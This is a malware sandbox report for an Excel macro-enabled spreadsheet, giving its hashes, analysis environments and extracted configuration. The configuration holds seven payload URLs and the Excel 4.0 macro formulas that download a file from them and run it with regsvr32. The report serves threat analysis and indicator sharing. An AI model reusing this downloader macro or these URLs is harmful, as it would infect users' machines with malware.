Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
General
-
Target
be626fef56ab5f9b5a5cedd4fb55defe0e402e8540bd28d9595f7e3fa02e4c20
-
Size
35KB
-
Sample
241111-zj1k9swdrh
-
MD5
1a3867dfef7115e92693007bcdd92da5
-
SHA1
036fa5fee75e788c88b092d2900278966ed60089
-
SHA256
be626fef56ab5f9b5a5cedd4fb55defe0e402e8540bd28d9595f7e3fa02e4c20
-
SHA512
ba35fe57505c2e2c5a08b617a97992f39160286784a91005b9ca06a0c07effbc175315a9424ec45aebb455a1935f26f973c82df826778b565dfd343d40a13ec5
-
SSDEEP
768:dsmn9tnd5euAjOZpqcVbZYpoRuBlIiOKMArOoooooooooooooooooooooooooofS:dFtndguUOZZ1ZYpoQ/pMA6Kt
Behavioral task
behavioral1
Sample
be626fef56ab5f9b5a5cedd4fb55defe0e402e8540bd28d9595f7e3fa02e4c20.xlsm
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
be626fef56ab5f9b5a5cedd4fb55defe0e402e8540bd28d9595f7e3fa02e4c20.xlsm
Resource
win10v2004-20241007-en
Malware Config
Extracted
https://dlqsclub.com/wp-content/uploads/8ST56kZvvQ/
https://blog.nilbt.com/wp-includes/Text/Diff/aleM3D/
https://idolevran.com/wp-admin/nKRqye7TwOjZVjvFib/
https://hindi.muslimmirror.com/wp-includes/NfqhqWd1AfATg6PH3MV/
https://appiterra.com/wp-admin/2sv4jwSsOGh9vD10/
https://reproartivf.com/4MFHyUfpZHmD9VMxCd/A/
https://britonsolicitors.com/wp-admin/mMYswFFOmBVkkjcb3/
-
formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://dlqsclub.com/wp-content/uploads/8ST56kZvvQ/","..\xdha.ocx",0,0) =IF('EGVSBSR'!C16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://blog.nilbt.com/wp-includes/Text/Diff/aleM3D/","..\xdha.ocx",0,0)) =IF('EGVSBSR'!C18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://idolevran.com/wp-admin/nKRqye7TwOjZVjvFib/","..\xdha.ocx",0,0)) =IF('EGVSBSR'!C20<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://hindi.muslimmirror.com/wp-includes/NfqhqWd1AfATg6PH3MV/","..\xdha.ocx",0,0)) =IF('EGVSBSR'!C22<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://appiterra.com/wp-admin/2sv4jwSsOGh9vD10/","..\xdha.ocx",0,0)) =IF('EGVSBSR'!C24<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://reproartivf.com/4MFHyUfpZHmD9VMxCd/A/","..\xdha.ocx",0,0)) =IF('EGVSBSR'!C26<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://britonsolicitors.com/wp-admin/mMYswFFOmBVkkjcb3/","..\xdha.ocx",0,0)) =IF('EGVSBSR'!C28<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\xdha.ocx") =RETURN()
Extracted
https://dlqsclub.com/wp-content/uploads/8ST56kZvvQ/
https://blog.nilbt.com/wp-includes/Text/Diff/aleM3D/
https://idolevran.com/wp-admin/nKRqye7TwOjZVjvFib/
https://hindi.muslimmirror.com/wp-includes/NfqhqWd1AfATg6PH3MV/
https://appiterra.com/wp-admin/2sv4jwSsOGh9vD10/
https://reproartivf.com/4MFHyUfpZHmD9VMxCd/A/
https://britonsolicitors.com/wp-admin/mMYswFFOmBVkkjcb3/
Extracted
https://dlqsclub.com/wp-content/uploads/8ST56kZvvQ/
https://blog.nilbt.com/wp-includes/Text/Diff/aleM3D/
https://idolevran.com/wp-admin/nKRqye7TwOjZVjvFib/
Targets
-
-
Target
be626fef56ab5f9b5a5cedd4fb55defe0e402e8540bd28d9595f7e3fa02e4c20
-
Size
35KB
-
MD5
1a3867dfef7115e92693007bcdd92da5
-
SHA1
036fa5fee75e788c88b092d2900278966ed60089
-
SHA256
be626fef56ab5f9b5a5cedd4fb55defe0e402e8540bd28d9595f7e3fa02e4c20
-
SHA512
ba35fe57505c2e2c5a08b617a97992f39160286784a91005b9ca06a0c07effbc175315a9424ec45aebb455a1935f26f973c82df826778b565dfd343d40a13ec5
-
SSDEEP
768:dsmn9tnd5euAjOZpqcVbZYpoRuBlIiOKMArOoooooooooooooooooooooooooofS:dFtndguUOZZ1ZYpoQ/pMA6Kt
Score10/10-
Process spawned unexpected child process
This typically indicates the parent process was compromised via an exploit or macro.
-